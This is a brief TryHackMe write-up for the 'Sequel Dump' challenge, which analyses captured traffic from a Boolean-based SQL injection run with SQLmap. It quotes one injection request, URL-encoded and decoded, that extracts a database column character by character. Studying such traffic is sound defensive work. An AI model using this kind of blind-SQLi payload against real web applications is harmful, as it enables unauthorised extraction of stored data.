THM - Sequel Dump

A writeup for “Sequel Dump” on TryHackMe

Can you decipher the captured traffic of an SQL Injection attack?

The challenge involves analyzing a PCAP file containing traffic from a Boolean-based SQLi attack carried out using SQLmap.

Sequel Dump

Analysis

The flag is probably contained within one of the exfiltrated values, which were extracted character by character.

/search_app/search.php?query=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28%60description%60%20AS%20NCHAR%29%2C0x20%29%20FROM%20profile_db.%60profiles%60%20ORDER%20BY%20id%20LIMIT%200%2C1%29%2C32%2C1%29%29%3E105

1 AND ORD(MID((SELECT IFNULL(CAST(`description` AS NCHAR),0x20) FROM profile_db.`profiles` ORDER BY id LIMIT 0,1),32,1))>105

For example, we can examine the exfiltration of the first character of the first value of the ‘Description’ column.